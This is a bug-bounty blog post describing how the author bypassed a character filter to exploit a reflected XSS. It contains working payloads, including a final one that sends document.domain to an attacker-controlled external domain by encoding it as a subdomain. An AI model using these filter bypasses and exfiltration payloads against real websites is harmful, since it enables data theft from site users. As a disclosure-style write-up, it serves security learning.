Tuesday, October 13, 2020

I had fun with this XSS

Recently, in a private bug-bounty program I've found an interesting XSS vulnerability where the vulnerable endpoint limits the use of special characters. The user's input got reflected in the following:

<script type="text/javascript">
            window.onload = function () {
                window.location = 'https://url/reflected-point'

It looks like a straightforward XSS vulnerability when it was possible to break the tag using the ' character. Generally, the following payload '-alert(0)-' should work, but unfortunately, the actual challenge just started.

I found that most of the special characters were filtered (as in removed from the content when they were inserted). After a minimal fuzzing, the following special characters were the only accepted and reflected via this endpoint:

, . = : @ # ? * %


I tried to confirm if this is still possible through experimenting on JSFiddle. I noted that instead of using - , we can use the comma sign too when the reflection point is the same as the codes mentioned above. Means, ',alert(0),' is actually possible.


Now, it is not done yet. Remember that parentheses are not allowed.

Thus, I tried to look for any ways to execute an alert box as it is an easy way to demonstrate an XSS vulnerability. However, none of the ways that seem possible using the allowed special characters in this situation..except, location=name

I started focusing on that and at the same time asking ideas from people in Slack and my CTF team. I found out through JSFiddle, the following payload seems possible. 

',document.location='javascript:document.domain','


Done? Not yet. It was a success when I tested in the JSFiddle, but it was not when tried on the vulnerable website. This was because it will throw 500 error message when it detects if the request contains the unpermitted strings match like javascript:document.*

The further test found that I can redirect the request through window.location=http://url. At first, it was a fail as // characters are not allowed. However, the request still gets redirected without the slashes. window.location=http:url was possible 

At this stage, it already enough to prove the JavaScript execution. But from the triager/customer perspective, this seems just like an open redirection vulnerability. I still need to show that it is possible to exfiltrate the content to the external domain. Easy? Yeah, the following payload should work basically..
',window.location='http:my-url/'%2bdocument.domain%2b,'

But no..it was not working..since the payload contains / again. Thus, there's another bummer. Until my CTF team member, johnburn, told me to simply parse the content that I want as the subdomain instead. Similar to exfiltrating data via DNS. Honestly, I have never tried that. But..it actually works!

So the final payload was:
',window.location='http:'%2bdocument.domain%2b'.my-burp-domain','

And of course, it got accepted :). It is always great to learn something new and share with everyone. If there's another way that should work, feel free to share it with the community.